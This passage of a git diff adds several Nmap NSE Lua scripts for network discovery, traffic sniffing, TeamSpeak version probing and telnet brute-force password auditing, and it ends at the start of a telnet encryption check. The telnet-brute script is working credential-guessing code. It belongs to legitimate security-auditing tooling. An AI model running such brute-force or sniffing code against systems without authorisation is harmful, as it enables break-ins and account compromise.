+ "pre-scanning. The argument newtargets is needed for the host-scanning" ..
+ " to work.")
+ end
+
+ return true
+end
+
+
+function action ()
+
+ --Vars for created the final report
+ local tOutput = stdnse.output_table()
+
+ local bExito, tSalida = Prescanning()
+
+ -- Now we adapt the exit to tOutput and add the hosts to the target!
+ if tSalida.Error and tSalida.Error ~= "" then
+ tOutput.warning = tSalida.Error
+ stdnse.debug1("Was unable to add nodes to the scan list due this error: %s",
+ tSalida.Error)
+ end
+
+ if bExito then
+ if tSalida.Nodos == 0 then
+ stdnse.verbose2("No nodes were added " ..
+ " to scan list! You can increase verbosity for more information" ..
+ " (maybe not newtargets argument?) ")
+ end
+ tOutput["node count"] = tSalida.Nodos
+ end
+
+
+ return tOutput
+end
diff --git a/scripts/targets-sniffer.nse b/scripts/targets-sniffer.nse
new file mode 100644
index 0000000..830b850
--- /dev/null
+++ b/scripts/targets-sniffer.nse
@@ -0,0 +1,151 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+
+-- -*- mode: lua -*-:
+-- vim: set filetype=lua :
+
+description = [[
+Sniffs the local network for a configurable amount of time (10 seconds
+by default) and prints discovered addresses. If the
+<code>newtargets</code> script argument is set, discovered addresses
+are added to the scan queue.
+
+Requires root privileges. Either the <code>targets-sniffer.iface</code> script
+argument or <code>-e</code> Nmap option to define which interface to use.
+]]
+
+---
+-- @usage
+-- nmap -sL --script=targets-sniffer --script-args=newtargets,targets-sniffer.timeout=5s,targets-sniffer.iface=eth0
+-- @args targets-sniffer.timeout The amount of time to listen for packets. Default <code>10s</code>.
+-- @args targets-sniffer.iface The interface to use for sniffing.
+-- @args newtargets If true, add discovered targets to the scan queue.
+-- @output
+-- Pre-scan script results:
+-- | targets-sniffer:
+-- | 192.168.0.1
+-- | 192.168.0.3
+-- | 192.168.0.35
+-- |_192.168.0.100
+
+
+-- Thanks to everyone for the feedback and especially Henri Doreau for his detailed feedback and suggestions
+
+author = "Nick Nikolaou"
+categories = {"broadcast", "discovery", "safe"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+
+local interface_info
+local all_addresses= {}
+local unique_addresses = {}
+
+--Make sure the IP is not a broadcast or the local address
+local function check_if_valid(address)
+ local broadcast = interface_info.broadcast
+ local local_address = interface_info.address
+
+ if address == local_address
+ or address == broadcast or address == "255.255.255.255"
+ or address:match('^ff') --IPv6 Multicast addrs
+ then
+ return false
+ else
+ return true end
+end
+
+-- Returns an array of address strings.
+local function get_ip_addresses(layer3)
+ local ip = packet.Packet:new(layer3, layer3:len())
+ return { ipOps.str_to_ip(ip.ip_bin_src), ipOps.str_to_ip(ip.ip_bin_dst) }
+end
+
+prerule = function()
+ return nmap.is_privileged() and
+ (stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface())
+end
+
+
+action = function()
+
+ local sock = nmap.new_socket()
+ local packet_counter = 0
+ local ip_counter = 0
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args("targets-sniffer.timeout"))
+ timeout = (timeout or 10) * 1000
+ local interface = stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface()
+ interface_info = nmap.get_interface_info(interface)
+
+ if interface_info==nil then -- Check if we have the interface information
+ stdnse.debug1("Error: Unable to get interface info. Did you specify the correct interface using 'targets-sniffer.iface=<interface>' or '-e <interface>'?")
+ return
+ end
+
+
+ if sock==nil then
+ stdnse.debug1("Error - unable to open socket using interface %s",interface)
+ return
+ else
+ sock:pcap_open(interface, 104, true, "ip or ip6")
+ stdnse.debug1("Will sniff for %s seconds on interface %s.", (timeout/1000),interface)
+
+ repeat
+
+ local start_time = nmap.clock_ms() -- Used for script timeout
+ sock:set_timeout(timeout)
+ local status, _, _, layer3 = sock:pcap_receive()
+
+ if status then
+ local addresses
+
+ packet_counter=packet_counter+1
+ addresses = get_ip_addresses(layer3)
+ stdnse.debug1("Got IP addresses %s", table.concat(addresses, " "))
+
+ for _, addr in ipairs(addresses) do
+ if check_if_valid(addr) == true then
+ if not unique_addresses[addr] then
+ unique_addresses[addr] = true
+ table.insert(all_addresses, addr)
+ end
+ end
+ end
+
+ end
+ -- Update timeout
+ timeout = timeout - (nmap.clock_ms() - start_time)
+
+ until timeout <= 0
+
+ sock:pcap_close()
+ end
+
+ if target.ALLOW_NEW_TARGETS == true then
+ if nmap.address_family() == 'inet6' then
+ for _,v in pairs(all_addresses) do
+ if v:match(':') then
+ target.add(v)
+ end
+ end
+ else
+ for _,v in pairs(all_addresses) do
+ if not v:match(':') then
+ target.add(v)
+ end
+ end
+ end
+ else
+ stdnse.debug1("Not adding targets to newtargets. If you want to do that use the 'newtargets' script argument.")
+ end
+
+ if #all_addresses>0 then
+ stdnse.debug1("Added %s address(es) to newtargets", #all_addresses)
+ end
+
+ return string.format("Sniffed %s address(es). \n", #all_addresses) .. table.concat(all_addresses, "\n")
+end
diff --git a/scripts/targets-traceroute.nse b/scripts/targets-traceroute.nse
new file mode 100644
index 0000000..f4989b0
--- /dev/null
+++ b/scripts/targets-traceroute.nse
@@ -0,0 +1,64 @@
+local stdnse = require "stdnse"
+local string = require "string"
+local target = require "target"
+
+description = [[
+Inserts traceroute hops into the Nmap scanning queue. It only functions if
+Nmap's <code>--traceroute</code> option is used and the <code>newtargets</code>
+script argument is given.
+]]
+
+---
+-- @args newtargets If specified, adds traceroute hops onto Nmap
+-- scanning queue.
+--
+-- @usage
+-- nmap --script targets-traceroute --script-args newtargets --traceroute target
+--
+-- @output
+-- Host script results:
+-- |_traceroute-scan-hops: successfully added 5 new targets.
+
+
+-- 09/02/2010
+author = "Henri Doreau"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery"}
+
+
+hostrule = function(host)
+ -- print debug messages because the script relies on
+ -- script arguments and traceroute results.
+ if not target.ALLOW_NEW_TARGETS then
+ stdnse.debug3("Skipping %s script, 'newtargets' script argument is missing.", SCRIPT_NAME)
+ return false
+ end
+ if not host.traceroute then
+ stdnse.debug3("Skipping %s script because traceroute results are missing.", SCRIPT_NAME)
+ return false
+ end
+ return true
+end
+
+action = function(host)
+ local ntargets = 0
+ for _, hop in ipairs(host.traceroute) do
+ -- avoid timedout hops, marked as empty entries
+ -- do not add the current scanned host.ip
+ if hop.ip and host.ip ~= hop.ip then
+ local status, ret = target.add(hop.ip)
+ if status then
+ ntargets = ntargets + ret
+ stdnse.debug3("TRACEROUTE Scan Hops: Added new target "..host.ip.." from traceroute results")
+ else
+ stdnse.debug3("TRACEROUTE Scan Hops: " .. ret)
+ end
+ end
+ end
+
+ if ntargets > 0 then
+ return string.format("successfully added %d new targets.\n", ntargets)
+ end
+end
diff --git a/scripts/targets-xml.nse b/scripts/targets-xml.nse
new file mode 100644
index 0000000..8ebcd81
--- /dev/null
+++ b/scripts/targets-xml.nse
@@ -0,0 +1,142 @@
+local io = require "io"
+local nmap = require "nmap"
+local slaxml = require "slaxml"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Loads addresses from an Nmap XML output file for scanning.
+
+Address type (IPv4 or IPv6) is determined according to whether -6 is specified to nmap.
+]]
+
+---
+--@args targets-xml.iX Filename of an Nmap XML file to import
+--@args targets-xml.state Only hosts with this status will have their addresses
+-- input. Default: "up"
+--
+--@usage
+-- nmap --script targets-xml --script-args newtargets,iX=oldscan.xml
+--
+--@output
+--Pre-scan script results:
+--|_targets-xml: Added 16 ipv4 addresses
+--
+--@xmloutput
+--16
+
+-- TODO: more filtering options: port status, string search, etc.
+
+author = "Daniel Miller"
+categories = {"safe"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local filename = stdnse.get_script_args(SCRIPT_NAME .. ".iX")
+
+prerule = function ()
+ if not filename then
+ stdnse.verbose1("Need to supply a file name with the %s.iX argument", SCRIPT_NAME);
+ return false
+ end
+ return true
+end
+
+local startElement = {
+ host = function (state)
+ state.addresses = {}
+ state.up = nil
+ end,
+ status = function (state)
+ state.parser._call.attribute = function (name, attribute)
+ if name == "state" then
+ state.up = attribute == state.status
+ end
+ end
+ end,
+ address = function (state)
+ state.parser._call.attribute = function (name, attribute)
+ if name == "addrtype" then
+ state.valid = attribute == state.addrtype
+ elseif name == "addr" then
+ state.address = attribute
+ end
+ end
+ end,
+}
+
+local closeElement = {
+ host = function (state)
+ if state.up then
+ state.added = state.added + #state.addresses
+ if target.ALLOW_NEW_TARGETS then
+ target.add(table.unpack(state.addresses))
+ end
+ end
+ state.up = nil
+ end,
+ status = function (state)
+ state.parser._call.attribute = nil
+ end,
+ address = function (state)
+ if state.valid and state.address then
+ table.insert(state.addresses, state.address)
+ end
+ state.parser._call.attribute = nil
+ state.address = nil
+ state.valid = false
+ end,
+}
+
+action = function ()
+ local status = stdnse.get_script_args(SCRIPT_NAME .. ".state") or "up"
+ local input, err = io.open(filename, "r")
+ if not input then
+ stdnse.debug1("Couldn't open %s: %s", filename, err)
+ return nil
+ end
+
+ local state = {
+ status = status,
+ addrtype = "ipv4",
+ added = 0,
+ }
+ if nmap.address_family() == "inet6" then
+ state.addrtype = "ipv6"
+ end
+
+ state.parser = slaxml.parser:new({
+ startElement = function (name)
+ return startElement[name] and startElement[name](state) or nil
+ end,
+ closeElement = function (name)
+ return startElement[name] and closeElement[name](state) or nil
+ end,
+ })
+
+ local buf = ""
+ local function next_chunk()
+ local read, starts, ends
+ repeat
+ read = input:read(8192)
+ if not read then
+ return buf, true
+ end
+ starts, ends = string.find(read, ">.-$")
+ if not starts then
+ buf = buf .. read
+ end
+ until starts
+ local ret = buf .. string.sub(read, 1, starts)
+ buf = string.sub(read, starts+1)
+ return ret, false
+ end
+ local chunk
+ local eof = false
+ while not eof do
+ chunk, eof = next_chunk()
+ state.parser:parseSAX(chunk)
+ end
+ return state.added, ("Found %s %s addresses"):format(state.added, state.addrtype)
+end
diff --git a/scripts/teamspeak2-version.nse b/scripts/teamspeak2-version.nse
new file mode 100644
index 0000000..0eb4a23
--- /dev/null
+++ b/scripts/teamspeak2-version.nse
@@ -0,0 +1,71 @@
+local comm = require "comm"
+local shortport = require "shortport"
+local nmap = require "nmap"
+local string = require "string"
+
+description = [[
+Detects the TeamSpeak 2 voice communication server and attempts to determine
+version and configuration information.
+
+A single UDP packet (a login request) is sent. If the server does not have a
+password set, the exact version, name, and OS type will also be reported on.
+]]
+
+---
+-- @usage
+-- nmap -sU -sV -p 8767 <target>
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 8767/udp open teamspeak2 script-set TeamSpeak 2.0.23.19 (name: COWCLANS; no password)
+-- Service Info: OS: Win32
+
+author = "Marin Maržić"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "version" }
+
+local payload = "\xf4\xbe\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\z
+\x00\x002x\xba\x85\tTeamSpeak\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\z
+\x00\x00\x00\x00\x00\x00\x00\x00\x00\nWindows XP\x00\x00\x00\x00\x00\x00\x00\z
+\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00 \x00<\x00\z
+\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\z
+\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\z
+\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\z
+\x00\x00\x00\x00\x00\x08nickname\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\z
+\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+
+portrule = shortport.version_port_or_service({8767}, "teamspeak2", "udp")
+
+action = function(host, port)
+ local status, result = comm.exchange(
+ host, port.number, payload, { proto = "udp", timeout = 3000 })
+ if not status then
+ return
+ end
+ nmap.set_port_state(host, port, "open")
+
+ local name, platform, version = string.match(result,
+ "^\xf4\xbe\x04\0\0\0\0\0.............([^\0]*)%G+([^\0]*)\0*(........)")
+ if not name then
+ return
+ end
+
+ port.version.name = "teamspeak2"
+ port.version.name_confidence = 10
+ port.version.product = "TeamSpeak"
+ if name == "" then
+ port.version.version = "2"
+ else
+ local v_a, v_b, v_c, v_d = string.unpack("<I2 I2 I2 I2", version)
+ port.version.version = v_a .. "." .. v_b .. "." .. v_c .. "." .. v_d
+ port.version.extrainfo = "name: " .. name .. "; no password"
+ if platform == "Win32" then
+ port.version.ostype = "Windows"
+ elseif platform == "Linux" then
+ port.version.ostype = "Linux"
+ end
+ end
+
+ nmap.set_port_version(host, port, "hardmatched")
+
+ return
+end
diff --git a/scripts/telnet-brute.nse b/scripts/telnet-brute.nse
new file mode 100644
index 0000000..5b220a1
--- /dev/null
+++ b/scripts/telnet-brute.nse
@@ -0,0 +1,697 @@
+local comm = require "comm"
+local coroutine = require "coroutine"
+local creds = require "creds"
+local match = require "match"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local strbuf = require "strbuf"
+local string = require "string"
+local brute = require "brute"
+
+description = [[
+Performs brute-force password auditing against telnet servers.
+]]
+
+---
+-- @usage
+-- nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s <target>
+--
+-- @output
+-- 23/tcp open telnet
+-- | telnet-brute:
+-- | Accounts
+-- | wkurtz:colonel
+-- | Statistics
+-- |_ Performed 15 guesses in 19 seconds, average tps: 0
+--
+-- @args telnet-brute.timeout Connection time-out timespec (default: "5s")
+-- @args telnet-brute.autosize Whether to automatically reduce the thread
+-- count based on the behavior of the target
+-- (default: "true")
+
+author = "nnposter"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {'brute', 'intrusive'}
+
+portrule = shortport.port_or_service(23, 'telnet')
+
+
+-- Miscellaneous script-wide parameters and constants
+local arg_timeout = stdnse.get_script_args(SCRIPT_NAME .. ".timeout") or "5s"
+local arg_autosize = stdnse.get_script_args(SCRIPT_NAME .. ".autosize") or "true"
+
+local telnet_timeout -- connection timeout (in ms), from arg_timeout
+local telnet_autosize -- whether to auto-size the execution, from arg_autosize
+local telnet_eol = "\r\n" -- termination string for sent lines
+local conn_retries = 2 -- # of retries when attempting to connect
+local critical_debug = 1 -- debug level for printing critical messages
+local login_debug = 2 -- debug level for printing attempted credentials
+local detail_debug = 3 -- debug level for printing individual login steps
+ -- and thread-level info
+
+---
+-- Print debug messages, prepending them with the script name
+--
+-- @param level Verbosity level
+-- @param fmt Format string.
+-- @param ... Arguments to format.
+local debug = stdnse.debug
+
+---
+-- Decide whether a given string (presumably received from a telnet server)
+-- represents a username prompt
+--
+-- @param str The string to analyze
+-- @return Verdict (true or false)
+local is_username_prompt = function (str)
+ local lcstr = str:lower()
+ return lcstr:find("%f[%w]username%s*:%s*$")
+ or lcstr:find("%f[%w]login%s*:%s*$")
+end
+
+
+---
+-- Decide whether a given string (presumably received from a telnet server)
+-- represents a password prompt
+--
+-- @param str The string to analyze
+-- @return Verdict (true or false)
+local is_password_prompt = function (str)
+ local lcstr = str:lower()
+ return lcstr:find("%f[%w]password%s*:%s*$")
+ or lcstr:find("%f[%w]passcode%s*:%s*$")
+end
+
+
+---
+-- Decide whether a given string (presumably received from a telnet server)
+-- indicates a successful login
+--
+-- @param str The string to analyze
+-- @return Verdict (true or false)
+local is_login_success = function (str)
+ if str:find("^[A-Z]:\\") then -- Windows telnet
+ return true
+ end
+ local lcstr = str:lower()
+ return lcstr:find("[/>%%%$#]%s*$") -- general prompt
+ or lcstr:find("^last login%s*:") -- linux telnetd
+ or lcstr:find("%f[%w]main%smenu%f[%W]") -- Netgear RM356
+ or lcstr:find("^enter terminal emulation:%s*$") -- Hummingbird telnetd
+ or lcstr:find("%f[%w]select an option%f[%W]") -- Zebra PrintServer
+end
+
+
+---
+-- Decide whether a given string (presumably received from a telnet server)
+-- indicates a failed login
+--
+-- @param str The string to analyze
+-- @return Verdict (true or false)
+local is_login_failure = function (str)
+ local lcstr = str:lower()
+ return lcstr:find("%f[%w]incorrect%f[%W]")
+ or lcstr:find("%f[%w]failed%f[%W]")
+ or lcstr:find("%f[%w]denied%f[%W]")
+ or lcstr:find("%f[%w]invalid%f[%W]")
+ or lcstr:find("%f[%w]bad%f[%W]")
+end
+
+
+---
+-- Strip off ANSI escape sequences (terminal codes) that start with <esc>[
+-- and replace them with white space, namely the VT character (0x0B).
+-- This way their new representation can be naturally matched with pattern %s.
+--
+-- @param str The string that needs to be strained
+-- @return The same string without the escape sequences
+local remove_termcodes = function (str)
+ local mark = '\x0B'
+ return str:gsub('\x1B%[%??%d*%a', mark)
+ :gsub('\x1B%[%??%d*;%d*%a', mark)
+end
+
+
+---
+-- Simple class to encapsulate connection operations
+local Connection = { methods = {} }
+
+
+---
+-- Initialize a connection object
+--
+-- @param host Telnet host
+-- @param port Telnet port
+-- @return Connection object or nil (if the operation failed)
+Connection.new = function (host, port, proto)
+ local soc = brute.new_socket(proto)
+ if not soc then return nil end
+ return setmetatable({
+ socket = soc,
+ isopen = false,
+ buffer = nil,
+ error = nil,
+ host = host,
+ port = port,
+ proto = proto
+ },
+ {
+ __index = Connection.methods,
+ __gc = Connection.methods.close
+ })
+end
+
+
+---
+-- Open the connection
+--
+-- @param self Connection object
+-- @return Status (true or false)
+-- @return nil if the operation was successful; error code otherwise
+Connection.methods.connect = function (self)
+ local status
+ local wait = 1
+
+ self.buffer = ""
+
+ for tries = 0, conn_retries do
+ self.socket:set_timeout(telnet_timeout)
+ status, self.error = self.socket:connect(self.host, self.port, self.proto)
+ if status then break end
+ stdnse.sleep(wait)
+ wait = 2 * wait
+ end
+
+ self.isopen = status
+ return status, self.error
+end
+
+
+---
+-- Close the connection
+--
+-- @param self Connection object
+-- @return Status (true or false)
+-- @return nil if the operation was successful; error code otherwise
+Connection.methods.close = function (self)
+ if not self.isopen then return true, nil end
+ local status
+ self.isopen = false
+ self.buffer = nil
+ status, self.error = self.socket:close()
+ return status, self.error
+end
+
+
+---
+-- Send one line through the connection to the server
+--
+-- @param self Connection object
+-- @param line Characters to send, will be automatically terminated
+-- @return Status (true or false)
+-- @return nil if the operation was successful; error code otherwise
+Connection.methods.send_line = function (self, line)
+ local status
+ status, self.error = self.socket:send(line .. telnet_eol)
+ return status, self.error
+end
+
+
+---
+-- Add received data to the connection buffer while taking care
+-- of telnet option signalling
+--
+-- @param self Connection object
+-- @param data Data string to add to the buffer
+-- @return Number of characters in the connection buffer
+Connection.methods.fill_buffer = function (self, data)
+ local outbuf = strbuf.new(self.buffer)
+ local optbuf = strbuf.new()
+ local oldpos = 0
+
+ while true do
+ -- look for IAC (Interpret As Command)
+ local newpos = data:find('\255', oldpos, true)
+ if not newpos then break end
+
+ outbuf = outbuf .. data:sub(oldpos, newpos - 1)
+ local opttype, opt = data:byte(newpos + 1, newpos + 2)
+
+ if opttype == 251 or opttype == 252 then
+ -- Telnet Will / Will Not
+ -- regarding ECHO or GO-AHEAD, agree with whatever the
+ -- server wants (or not) to do; otherwise respond with
+ -- "don't"
+ opttype = (opt == 1 or opt == 3) and opttype + 2 or 254
+ elseif opttype == 253 or opttype == 254 then
+ -- Telnet Do / Do not
+ -- I will not do whatever the server wants me to
+ opttype = 252
+ end
+
+ optbuf = optbuf .. string.char(255, opttype, opt)
+ oldpos = newpos + 3
+ end
+
+ self.buffer = strbuf.dump(outbuf) .. data:sub(oldpos)
+ self.socket:send(strbuf.dump(optbuf))
+ return self.buffer:len()
+end
+
+
+---
+-- Return leading part of the connection buffer, up to a line termination,
+-- and refill the buffer as needed
+--
+-- @param self Connection object
+-- @param normalize whether the returned line is normalized (default: false)
+-- @return String representing the first line in the buffer
+Connection.methods.get_line = function (self)
+ if self.buffer:len() == 0 then
+ -- refill the buffer
+ local status, data = self.socket:receive_buf(match.pattern_limit("[\r\n:>%%%$#\255].*", 2048), true)
+ if not status then
+ -- connection error
+ self.error = data
+ return nil
+ end
+
+ self:fill_buffer(data)
+ end
+ return remove_termcodes(self.buffer:match('^[^\r\n]*'))
+end
+
+
+---
+-- Discard leading part of the connection buffer, up to and including
+-- one or more line terminations
+--
+-- @param self Connection object
+-- @return Number of characters remaining in the connection buffer
+Connection.methods.discard_line = function (self)
+ self.buffer = self.buffer:gsub('^[^\r\n]*[\r\n]*', '', 1)
+ return self.buffer:len()
+end
+
+
+---
+-- Ghost connection object
+Connection.GHOST = {}
+
+
+---
+-- Simple class to encapsulate target properties, including thread-specific data
+-- persisted across Driver instances
+local Target = { methods = {} }
+
+
+---
+-- Initialize a target object
+--
+-- @param host Telnet host
+-- @param port Telnet port
+-- @return Target object or nil (if the operation failed)
+Target.new = function (host, port)
+ local soc, _, proto = comm.tryssl(host, port, "\n", {timeout=telnet_timeout})
+ if not soc then return nil end
+ soc:close()
+ return setmetatable({
+ host = host,
+ port = port,
+ proto = proto,
+ workers = setmetatable({}, { __mode = "k" })
+ },
+ { __index = Target.methods })
+end
+
+
+---
+-- Set up the calling thread as one of the worker threads
+--
+-- @param self Target object
+Target.methods.worker = function (self)
+ local thread = coroutine.running()
+ self.workers[thread] = self.workers[thread] or {}
+end
+
+
+---
+-- Provide the calling worker thread with an open connection to the target.
+-- The state of the connection is at the beginning of the login flow.
+--
+-- @param self Target object
+-- @return Status (true or false)
+-- @return Connection if the operation was successful; error code otherwise
+Target.methods.attach = function (self)
+ local worker = self.workers[coroutine.running()]
+ local conn = worker.conn
+ or Connection.new(self.host, self.port, self.proto)
+ if not conn then return false, "Unable to allocate connection" end
+ worker.conn = conn
+
+ if conn.error then conn:close() end
+ if not conn.isopen then
+ local status, err = conn:connect()
+ if not status then return false, err end
+ end
+
+ return true, conn
+end
+
+
+---
+-- Recover a connection used by the calling worker thread
+--
+-- @param self Target object
+-- @return Status (true or false)
+-- @return nil if the operation was successful; error code otherwise
+Target.methods.detach = function (self)
+ local conn = self.workers[coroutine.running()].conn
+ local status, response = true, nil
+ if conn and conn.error then status, response = conn:close() end
+ return status, response
+end
+
+
+---
+-- Set the state of the calling worker thread
+--
+-- @param self Target object
+-- @param inuse Whether the worker is in use (true or false)
+-- @return inuse
+Target.methods.inuse = function (self, inuse)
+ self.workers[coroutine.running()].inuse = inuse
+ return inuse
+end
+
+
+---
+-- Decide whether the target is still being worked on
+--
+-- @param self Target object
+-- @return Verdict (true or false)
+Target.methods.idle = function (self)
+ local idle = true
+ for t, w in pairs(self.workers) do
+ idle = idle and (not w.inuse or coroutine.status(t) == "dead")
+ end
+ return idle
+end
+
+
+---
+-- Class that can be used as a "driver" by brute.lua
+local Driver = { methods = {} }
+
+
+---
+-- Initialize a driver object
+--
+-- @param host Telnet host
+-- @param port Telnet port
+-- @param target instance of a Target class
+-- @return Driver object or nil (if the operation failed)
+Driver.new = function (self, host, port, target)
+ assert(host == target.host and port == target.port, "Target mismatch")
+ target:worker()
+ return setmetatable({
+ target = target,
+ connect = telnet_autosize
+ and Driver.methods.connect_autosize
+ or Driver.methods.connect_simple,
+ thread_exit = nmap.condvar(target)
+ },
+ { __index = Driver.methods })
+end
+
+
+---
+-- Connect the driver to the target (when auto-sizing is off)
+--
+-- @param self Driver object
+-- @return Status (true or false)
+-- @return nil if the operation was successful; error code otherwise
+Driver.methods.connect_simple = function (self)
+ assert(not self.conn, "Multiple connections attempted")
+ local status, response = self.target:attach()
+ if status then
+ self.conn = response
+ response = nil
+ end
+ return status, response
+end
+
+
+---
+-- Connect the driver to the target (when auto-sizing is on)
+--
+-- @param self Driver object
+-- @return Status (true or false)
+-- @return nil if the operation was successful; error code otherwise
+Driver.methods.connect_autosize = function (self)
+ assert(not self.conn, "Multiple connections attempted")
+ self.target:inuse(true)
+ local status, response = self.target:attach()
+ if status then
+ -- connected to the target
+ self.conn = response
+ if self:prompt() then
+ -- successfully reached login prompt
+ return true, nil
+ end
+ -- connected but turned away
+ self.target:detach()
+ end
+ -- let's park the thread here till all the functioning threads finish
+ self.target:inuse(false)
+ debug(detail_debug, "Retiring %s", tostring(coroutine.running()))
+ while not self.target:idle() do self.thread_exit("wait") end
+ -- pretend that it connected
+ self.conn = Connection.GHOST
+ return true, nil
+end
+
+
+---
+-- Disconnect the driver from the target
+--
+-- @param self Driver object
+-- @return Status (true or false)
+-- @return nil if the operation was successful; error code otherwise
+Driver.methods.disconnect = function (self)
+ assert(self.conn, "Attempt to disconnect non-existing connection")
+ if self.conn.isopen and not self.conn.error then
+ -- try to reach new login prompt
+ self:prompt()
+ end
+ self.conn = nil
+ return self.target:detach()
+end
+
+
+---
+-- Attempt to reach telnet login prompt on the target
+--
+-- @param self Driver object
+-- @return line Reached prompt or nil
+Driver.methods.prompt = function (self)
+ assert(self.conn, "Attempt to use disconnected driver")
+ local conn = self.conn
+ local line
+ repeat
+ line = conn:get_line()
+ until not line
+ or is_username_prompt(line)
+ or is_password_prompt(line)
+ or not conn:discard_line()
+ return line
+end
+
+
+---
+-- Attempt to establish authenticated telnet session on the target
+--
+-- @param self Driver object
+-- @return Status (true or false)
+-- @return instance of creds.Account if the operation was successful;
+-- instance of brute.Error otherwise
+Driver.methods.login = function (self, username, password)
+ assert(self.conn, "Attempt to use disconnected driver")
+ local sent_username = self.target.passonly
+ local sent_password = false
+ local conn = self.conn
+
+ local loc = " in " .. tostring(coroutine.running())
+
+ local connection_error = function (msg)
+ debug(detail_debug, msg .. loc)
+ local err = brute.Error:new(msg)
+ err:setRetry(true)
+ return false, err
+ end
+
+ local passonly_error = function ()
+ local msg = "Password prompt encountered"
+ debug(critical_debug, msg .. loc)
+ local err = brute.Error:new(msg)
+ err:setAbort(true)
+ return false, err
+ end
+
+ local username_error = function ()
+ local msg = "Invalid username encountered"
+ debug(detail_debug, msg .. loc)
+ local err = brute.Error:new(msg)
+ err:setInvalidAccount(username)
+ return false, err
+ end
+
+ local login_error = function ()
+ local msg = "Login failed"
+ debug(detail_debug, msg .. loc)
+ return false, brute.Error:new(msg)
+ end
+
+ local login_success = function ()
+ local msg = "Login succeeded"
+ debug(detail_debug, msg .. loc)
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+
+ local login_no_password = function ()
+ local msg = "Login succeeded without password"
+ debug(detail_debug, msg .. loc)
+ return true, creds.Account:new(username, "", creds.State.VALID)
+ end
+
+ debug(detail_debug, "Login attempt %s:%s%s", username, password, loc)
+
+ if conn == Connection.GHOST then
+ -- reached when auto-sizing is enabled and all worker threads
+ -- failed
+ return connection_error("Service unreachable")
+ end
+
+ -- username has not yet been sent
+ while not sent_username do
+ local line = conn:get_line()
+ if not line then
+ -- stopped receiving data
+ return connection_error("Login prompt not reached")
+ end
+
+ if is_username_prompt(line) then
+ -- being prompted for a username
+ conn:discard_line()
+ debug(detail_debug, "Sending username" .. loc)
+ if not conn:send_line(username) then
+ return connection_error(conn.error)
+ end
+ sent_username = true
+ if conn:get_line() == username then
+ -- ignore; remote echo of the username in effect
+ conn:discard_line()
+ end
+
+ elseif is_password_prompt(line) then
+ -- looks like 'password only' support
+ return passonly_error()
+
+ else
+ -- ignore; insignificant response line
+ conn:discard_line()
+ end
+ end
+
+ -- username has been already sent
+ while not sent_password do
+ local line = conn:get_line()
+ if not line then
+ -- remote host disconnected
+ return connection_error("Password prompt not reached")
+ end
+
+ if is_login_success(line) then
+ -- successful login without a password
+ conn:close()
+ return login_no_password()
+
+ elseif is_password_prompt(line) then
+ -- being prompted for a password
+ conn:discard_line()
+ debug(detail_debug, "Sending password" .. loc)
+ if not conn:send_line(password) then
+ return connection_error(conn.error)
+ end
+ sent_password = true
+
+ elseif is_login_failure(line) then
+ -- failed login without a password; explicitly told so
+ conn:discard_line()
+ return username_error()
+
+ elseif is_username_prompt(line) then
+ -- failed login without a password; prompted again for a username
+ return username_error()
+
+ else
+ -- ignore; insignificant response line
+ conn:discard_line()
+ end
+
+ end
+
+ -- password has been already sent
+ while true do
+ local line = conn:get_line()
+ if not line then
+ -- remote host disconnected
+ return connection_error("Login not completed")
+ end
+
+ if is_login_success(line) then
+ -- successful login
+ conn:close()
+ return login_success()
+
+ elseif is_login_failure(line) then
+ -- failed login; explicitly told so
+ conn:discard_line()
+ return login_error()
+
+ elseif is_password_prompt(line) or is_username_prompt(line) then
+ -- failed login; prompted again for credentials
+ return login_error()
+
+ else
+ -- ignore; insignificant response line
+ conn:discard_line()
+ end
+
+ end
+
+ -- unreachable code
+ assert(false, "Reached unreachable code")
+end
+
+
+action = function (host, port)
+ local ts, tserror = stdnse.parse_timespec(arg_timeout)
+ if not ts then
+ return stdnse.format_output(false, "Invalid timeout value: " .. tserror)
+ end
+ telnet_timeout = 1000 * ts
+ telnet_autosize = arg_autosize:lower() == "true"
+
+ local target = Target.new(host, port)
+ if not target then
+ return stdnse.format_output(false, "Unable to connect to the target")
+ end
+
+ local engine = brute.Engine:new(Driver, host, port, target)
+ engine.options.script_name = SCRIPT_NAME
+ target.passonly = engine.options.passonly
+ local _, result = engine:start()
+ return result
+end
diff --git a/scripts/telnet-encryption.nse b/scripts/telnet-encryption.nse
new file mode 100644
index 0000000..1f2f6f8
--- /dev/null
+++ b/scripts/telnet-encryption.nse
@@ -0,0 +1,106 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Determines whether the encryption option is supported on a remote telnet
+server. Some systems (including FreeBSD and the krb5 telnetd available in many
+Linux distributions) implement this option incorrectly, leading to a remote
+root vulnerability. This script currently only tests whether encryption is
+supported, not for that particular vulnerability.
+
+References:
